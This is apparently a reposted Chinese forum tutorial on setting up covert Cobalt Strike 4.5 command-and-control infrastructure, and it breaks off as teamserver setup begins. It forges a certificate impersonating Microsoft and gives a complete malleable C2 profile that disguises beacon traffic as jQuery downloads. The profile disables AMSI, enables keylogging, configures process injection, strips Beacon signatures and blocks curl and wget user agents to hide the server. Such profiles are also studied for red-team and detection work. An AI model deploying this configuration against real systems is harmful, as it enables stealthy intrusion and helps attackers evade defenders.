安全矩阵

 找回密码
 立即注册
搜索
查看: 968|回复: 0

CS部署修改

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-12-10 12:06:39 | 显示全部楼层 |阅读模式
A_Y Relay学安全 2023-12-09 17:27 发表于陕西

配置隐蔽且OPSEC安全的C2设施

OPSEC 描述了防止对手或潜在对手发现关键操作相关数据的策略。

version : cs4.5

1.自定义CS证书
首先通过 openssl 来生成密钥对,再生成一个证书签名请求 CSR

  1. openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout private.key
  2. openssl req -new -key private.key -out raven.csr
复制代码


依次输入
  1. US
  2. WA
  3. Redmond
  4. Microsoft
  5. Microsoft Corporation
  6. *.microsoft.com
  7. admin@gemail.com

  8. zsx147a
  9. Microsoft
复制代码


把证书和密钥合成为单个的 pkcs12 文件,然后通过 Keytool 导入到 Java 的密钥存储,这样我们就生成了专属的ts.store证书
  1. openssl pkcs12 -inkey private.key -in public.crt -export -out ts.pkcs12
  2. keytool -importkeystore -srckeystore ts.pkcs12 -srcstoretype pkcs12 -destkeystore ts.store
复制代码


查看证书
  1. keytool -list -v -keystore ts.store -storepass zsx147a
  2.                   密码
复制代码


2.C2侧写
  1. https://github.com/threatexpress/malleable-c2
  2. https://github.com/rsmudge/Malleable-C2-Profiles

  3. 是两款不错的侧写,JQuery-C2侧写具有更多默认配置且相对注重OPSEC,所以我选择使用JQuery-C2侧写
  4. 注:如果在过程中更换C2侧写,会丢失目前所有Beacon,因为通信模式不一样了
复制代码


cs4.5的c2侧写示例

jQuery_CS_4.5.profile


  1. set sample_name "jQuery CS 4.5 Profile";
  2. set sleeptime "45000";         # 45 Seconds
  3. set jitter    "37";            # % jitter

  4. set data_jitter "100";         

  5. set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/517.36 (KHTML, like Gecko)";

  6. https-certificate {
  7.     set keystore "ts.store";
  8.     set password "zsx147a";
  9. }

  10. set tcp_port "42585";
  11. set tcp_frame_header "\x80";

  12. set pipename         "mojo.5688.8052.183894939787088877##"; # Common Chrome named pipe
  13. set pipename_stager  "mojo.5688.8052.35780273329370473##"; # Common Chrome named pipe
  14. set smb_frame_header "\x80";

  15. dns-beacon {
  16.     # Options moved into "dns-beacon" group in version 4.3
  17.     set dns_idle           "74.125.196.113"; #google.com (change this to match your campaign)
  18.     set dns_max_txt        "252";
  19.     set dns_sleep          "0"; #    Force a sleep prior to each individual DNS request. (in milliseconds)
  20.     set dns_ttl            "5";
  21.     set maxdns             "255";
  22.     set dns_stager_prepend ".resources.123456.";
  23.     set dns_stager_subhost ".feeds.123456.";

  24.     # DNS subhosts override options, added in version 4.3
  25.     set beacon           "a.bc.";
  26.     set get_A            "b.1a.";
  27.     set get_AAAA         "c.4a.";
  28.     set get_TXT          "d.tx.";
  29.     set put_metadata     "e.md.";
  30.     set put_output       "f.po.";
  31.     set ns_response      "zero";

  32. }

  33. set ssh_banner        "OpenSSH_7.4 Debian (protocol 2.0)";
  34. set ssh_pipename      "wkssvc##";


  35. set host_stage "false"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set

  36. http-stager {  
  37.     set uri_x86 "/jquery-3.3.1.slim.min.js";
  38.     set uri_x64 "/jquery-3.3.2.slim.min.js";

  39.     server {
  40.         header "Server" "NetDNA-cache/2.2";
  41.         header "Cache-Control" "max-age=0, no-cache";
  42.         header "Pragma" "no-cache";
  43.         header "Connection" "keep-alive";
  44.         header "Content-Type" "application/javascript; charset=utf-8";
  45.         output {
  46.             ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
  47.             # 2nd Line            
  48.             prepend "!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="\r";
  49.             # 1st Line
  50.             prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
  51.             append "".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
  52.             print;
  53.         }
  54.     }

  55.     client {
  56.         header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  57.         header "Accept-Language" "en-US,en;q=0.5";
  58.         #header "Host" "code.jquery.com";
  59.         header "Referer" "http://code.jquery.com/";
  60.         header "Accept-Encoding" "gzip, deflate";
  61.     }
  62. }

  63. post-ex {
  64.     # Optionally specify non-existent filepath to force manual specification based on the Beacon host's running processes
  65.     set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
  66.     # Hardcode paths like C:\\Windows\\System32\\dllhost.exe to avoid potential detections for %SYSNATIVE% use. !! This will break when attempting to spawn a 64bit post-ex job from a 32bit Beacon.
  67.     set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
  68.     # change the permissions and content of our post-ex DLLs
  69.     set obfuscate "true";
  70.     # pass key function pointers from Beacon to its child jobs
  71.     set smartinject "true";
  72.     # disable AMSI in powerpick, execute-assembly, and psinject
  73.     set amsi_disable "true";
  74.     # Modify our post-ex pipe names
  75.     set pipename "Winsock2\\CatalogChangeListener-###-0,";
  76.     set keylogger "GetAsyncKeyState";
  77.     #set threadhint "module!function+0x##"
  78. }


  79. stage {
  80.    
  81.     # CS 4.2 added allocator and MZ header overrides
  82.     set allocator      "VirtualAlloc"; # Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc
  83.     #set magic_mz_x86   "MZRE";
  84.     #set magic_mz_x64   "MZAR";
  85.     set magic_pe       "NO";
  86.     set userwx         "false";
  87.     set stomppe        "true";
  88.     set obfuscate      "true";
  89.     set cleanup        "true";
  90.     # CS 3.12 Addition "Obfuscate and Sleep"
  91.     set sleep_mask     "true";
  92.     # CS 4.1  
  93.     set smartinject    "true";


  94.     set checksum       "0";
  95.     set compile_time   "11 Nov 2016 04:08:32";
  96.     set entry_point    "650688";
  97.     set image_size_x86 "4661248";
  98.     set image_size_x64 "4661248";
  99.     set name           "srv.dll";
  100.     set rich_header    "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

  101.     # The transform-x86 and transform-x64 blocks pad and transform Beacon's Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
  102.     transform-x86 { # transform the x86 rDLL stage
  103.         prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
  104.         strrep "ReflectiveLoader" "execute"; # Change this text
  105.         strrep "This program cannot be run in DOS mode" ""; # Remove this text
  106.         strrep "beacon.dll" ""; # Remove this text
  107.     }
  108.     transform-x64 { # transform the x64 rDLL stage
  109.         prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
  110.         strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL
  111.         strrep "beacon.x64.dll" ""; # Remove this text in the Beacon DLL
  112.     }

  113.     stringw "jQuery"; # Add this string to the DLL
  114. }


  115. process-inject {

  116.     # set a remote memory allocation technique: VirtualAllocEx|NtMapViewOfSection
  117.     set allocator "NtMapViewOfSection";

  118.     # Minimium memory allocation size when injecting content
  119.     set min_alloc "17500";
  120.    
  121.     # Set memory permissions as permissions as initial=RWX, final=RX
  122.     set startrwx "false";
  123.     set userwx   "false";

  124.     # Transform injected content to avoid signature detection of first few bytes. Only supports prepend and append.
  125.     transform-x86 {
  126.         prepend "\x90\x90";
  127.         #append "\x90\x90";
  128.     }

  129.     transform-x64 {
  130.         prepend "\x90\x90";
  131.         #append "\x90\x90";
  132.     }
  133.     execute {

  134.         # The order is important! Each step will be attempted (if applicable) until successful
  135.         ## self-injection
  136.         CreateThread "ntdll!RtlUserThreadStart+0x42";
  137.         CreateThread;

  138.         ## Injection via suspened processes (SetThreadContext|NtQueueApcThread-s)
  139.         # OPSEC - when you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process.
  140.         # SetThreadContext;
  141.         NtQueueApcThread-s;
  142.         
  143.         ## Injection into existing processes
  144.         # OPSEC Uses RWX stub - Detected by Get-InjectedThread. Less detected by some defensive products.
  145.         #NtQueueApcThread;
  146.         
  147.         # CreateRemotThread - Vanilla cross process injection technique. Doesn't cross session boundaries
  148.         # OPSEC - fires Sysmon Event 8
  149.         CreateRemoteThread;
  150.         
  151.         # RtlCreateUserThread - Supports all architecture dependent corner cases (e.g., 32bit -> 64bit injection) AND injection across session boundaries
  152.         # OPSEC - fires Sysmon Event 8. Uses Meterpreter implementation and RWX stub - Detected by Get-InjectedThread
  153.         RtlCreateUserThread;
  154.     }
  155. }

  156. http-config {
  157.     set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
  158.     header "Server" "Apache";
  159.     header "Keep-Alive" "timeout=10, max=100";
  160.     header "Connection" "Keep-Alive";
  161.     set trust_x_forwarded_for "true";
  162.     set block_useragents "curl*,lynx*,wget*";
  163. }

  164. http-get {

  165.     set uri "/jquery-3.3.1.min.js";
  166.     set verb "GET";

  167.     client {

  168.         header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  169.         #header "Host" "code.jquery.com";
  170.         header "Referer" "http://code.jquery.com/";
  171.         header "Accept-Encoding" "gzip, deflate";

  172.         metadata {
  173.             base64url;
  174.             prepend "__cfduid=";
  175.             header "Cookie";
  176.         }
  177.     }

  178.     server {

  179.         header "Server" "NetDNA-cache/2.2";
  180.         header "Cache-Control" "max-age=0, no-cache";
  181.         header "Pragma" "no-cache";
  182.         header "Connection" "keep-alive";
  183.         header "Content-Type" "application/javascript; charset=utf-8";

  184.         output {   
  185.             mask;
  186.             base64url;
  187.             ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
  188.             # 2nd Line            
  189.             prepend "!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="\r";
  190.             # 1st Line
  191.             prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
  192.             append "".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
  193.             print;
  194.         }
  195.     }
  196. }

  197. http-post {

  198.     set uri "/jquery-3.3.2.min.js";
  199.     set verb "POST";

  200.     client {

  201.         header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  202.         #header "Host" "code.jquery.com";
  203.         header "Referer" "http://code.jquery.com/";
  204.         header "Accept-Encoding" "gzip, deflate";
  205.       
  206.         id {
  207.             mask;      
  208.             base64url;
  209.             parameter "__cfduid";            
  210.         }
  211.               
  212.         output {
  213.             mask;
  214.             base64url;
  215.             print;
  216.         }
  217.     }

  218.     server {

  219.         header "Server" "NetDNA-cache/2.2";
  220.         header "Cache-Control" "max-age=0, no-cache";
  221.         header "Pragma" "no-cache";
  222.         header "Connection" "keep-alive";
  223.         header "Content-Type" "application/javascript; charset=utf-8";

  224.         output {
  225.             mask;
  226.             base64url;
  227.             ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
  228.             # 2nd Line            
  229.             prepend "!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="\r";
  230.             # 1st Line
  231.             prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
  232.             append "".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
  233.             print;
  234.         }
  235.     }
  236. }
复制代码


注意
  1. .host_stage is FALSE. This will break staging over HTTP, HTTPS, and DNS!
复制代码


我们也可以用工具SourcePoint (https://github.com/Tylous/SourcePoint) 生成定制化的 C2 侧写

测试c2侧写

  1. ./c2lint jQuery_CS_4.5.profile
复制代码




3.修改teamserver
  1. 端口为 49228,只能本地访问(127.0.0.1),也使用刚刚做好的ts.store证书
复制代码

  1. # start the team server.
